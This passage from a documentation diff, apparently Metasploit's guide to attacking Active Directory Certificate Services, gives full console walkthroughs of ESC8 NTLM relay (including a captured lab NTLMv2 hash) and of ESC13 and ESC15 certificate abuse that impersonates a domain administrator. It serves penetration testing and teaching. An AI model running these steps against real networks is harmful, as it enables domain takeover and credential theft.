[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC3-Template1
|
||||
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: User
|
||||
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: Administrator
|
||||
[*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: Machine
|
||||
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: DomainController
|
||||
[*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] * S-1-5-9 (Enterprise Domain Controllers)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC3-Template2
|
||||
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: ESC1-Template
|
||||
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC1
|
||||
[*] Notes: ESC1: Request can specify a subjectAltName (msPKI-Certificate-Name-Flag)
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: ESC2-Template
|
||||
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC2
|
||||
[*] Notes: ESC2: Template defines the Any Purpose OID or no EKUs (PkiExtendedKeyUsage)
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: ESC3-Template1
|
||||
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC3_TEMPLATE_1
|
||||
[*] Notes: ESC3: Template defines the Certificate Request Agent OID (PkiExtendedKeyUsage)
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: User
|
||||
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: Machine
|
||||
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[+] Template: ESC3-Template2
|
||||
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[+] Issuing CA: daforest-WIN-BR0CCBA815B-CA (WIN-BR0CCBA815B.daforest.com)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
|
||||
```
|
||||
@@ -858,6 +872,218 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC8
|
||||
ESC8 leverages relaying NTLM authentication from an SMB server (running on Metasploit) to the HTTP(S) AD CS Web
|
||||
Enrollment portal running on a remote target. The attacker will need to coerce a client with privileges to authenticate
|
||||
to the target portal to authenticate to Metasploit instead. This can be achieved via a few techniques, including name
|
||||
poisoning via the `capture` plugin, coercion via the `auxiliary/scanner/dcerpc/petitpotam` module, or even a well placed
|
||||
UNC path. Once authentication has been relayed and an authorized HTTP session has been established, the attacker can
|
||||
query available certificate templates as well as issue them.
|
||||
|
||||
Exploitation of this flaw is facilitated through the `auxiliary/server/relay/esc8` module which handles starting the SMB
|
||||
relay server and enables configuration of what happens when relaying is successful. Users can select from different
|
||||
operational "modes" via the MODE datastore option which controls what the module will do. For a full description, see
|
||||
the modules documentation. The default mode, "AUTO" will issue a User certificate if the relayed connection is for a
|
||||
user account or a Machine certificate if it's for a machine account. Once this certificate has been issued, it can be
|
||||
used for authentication. See the [Authenticating With A Certificate](#authenticating-with-a-certificate) section for
|
||||
more information.
|
||||
|
||||
In the following example the AUTO mode is used to issue a certificate for the MSFLAB\smcintyre once they have
|
||||
authenticated.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
|
||||
msf6 auxiliary(server/relay/esc8) > run
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf6 auxiliary(server/relay/esc8) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
[*] New request from 192.168.159.129
|
||||
[*] Received request for MSFLAB\smcintyre
|
||||
[*] Relaying to next target http://172.30.239.85:80/certsrv/
|
||||
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://172.30.239.85:80/certsrv/
|
||||
[SMB] NTLMv2-SSP Client : 172.30.239.85
|
||||
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
|
||||
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
|
||||
|
||||
[*] Creating certificate request for MSFLAB\smcintyre using the User template
|
||||
[*] Generating CSR...
|
||||
[*] CSR Generated
|
||||
[*] Requesting relay target generate certificate...
|
||||
[+] Certificate generated using template User and MSFLAB\smcintyre
|
||||
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
|
||||
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_172.30.239.85_windows.ad.cs_995918.pfx
|
||||
[*] Relay tasks complete; waiting for next login attempt.
|
||||
[*] Received request for MSFLAB\smcintyre
|
||||
[*] Identity: MSFLAB\smcintyre - All targets relayed to
|
||||
[*] New request from 192.168.159.129
|
||||
[*] Received request for MSFLAB\smcintyre
|
||||
[*] Identity: MSFLAB\smcintyre - All targets relayed to
|
||||
```
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[+] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[+] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[+] Issuing CA: collalabs1-SRV-ADDS01-CA (SRV-ADDS01.collalabs1.local)
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Exploiting ESC15
|
||||
Steps for exploiting ESC15 are similar to ESC1 whereby a privileged user such as a domain admin is specified in the
|
||||
`ALT_UPN`. In addition to targeting another user, the certificate has additional Application Policy OIDs added to it
|
||||
which adjusts the context in which the issued certificate can be used. These policy OIDs are accepted by the issuing CA
|
||||
if the target certificate template is defined using schema version 1.
|
||||
|
||||
In the following example, the Client Authentication OID (1.3.6.1.5.5.7.3.2) is added which enables the certificate to be
|
||||
used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP queries with the privileges of the user
|
||||
specified in the alternate UPN.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
|
||||
CERT_TEMPLATE => ESC15-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
|
||||
ADD_CERT_APP_POLICY => 1.3.6.1.5.5.7.3.2
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
|
||||
ALT_UPN => administrator@collalabs1.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] 172.30.239.85:445 - Requesting a certificate...
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate Policies:
|
||||
[*] 172.30.239.85:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009171337_default_172.30.239.85_windows.ad.cs_089081.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Certificates issued using this technique are not directly able to be used for Kerberos authentication via PKINIT.
|
||||
However, the attack can be modified by adding the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) to issue a
|
||||
certificate that can issue additional certificates in a manner similar to ESC2 which are compatible with PKINIT.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
|
||||
CERT_TEMPLATE => ESC15-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
|
||||
ADD_CERT_APP_POLICY => 1.3.6.1.4.1.311.20.2.1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] 172.30.239.85:445 - Requesting a certificate...
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate Policies:
|
||||
[*] 172.30.239.85:445 - * 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent)
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Next, the certificate is used in conjunction with the `PFX` and `ON_BEHALF_OF` options to issue a certificate compatible
|
||||
with Kerberos as the privileged user (previously `ALT_UPN`).
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY
|
||||
Unsetting ADD_CERT_APP_POLICY...
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN
|
||||
Unsetting ALT_UPN...
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
|
||||
ON_BEHALF_OF => COLLALABS1\\administrator
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
|
||||
PFX => /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] 172.30.239.85:445 - Requesting a certificate...
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: administrator@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172817_default_172.30.239.85_windows.ad.cs_427087.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user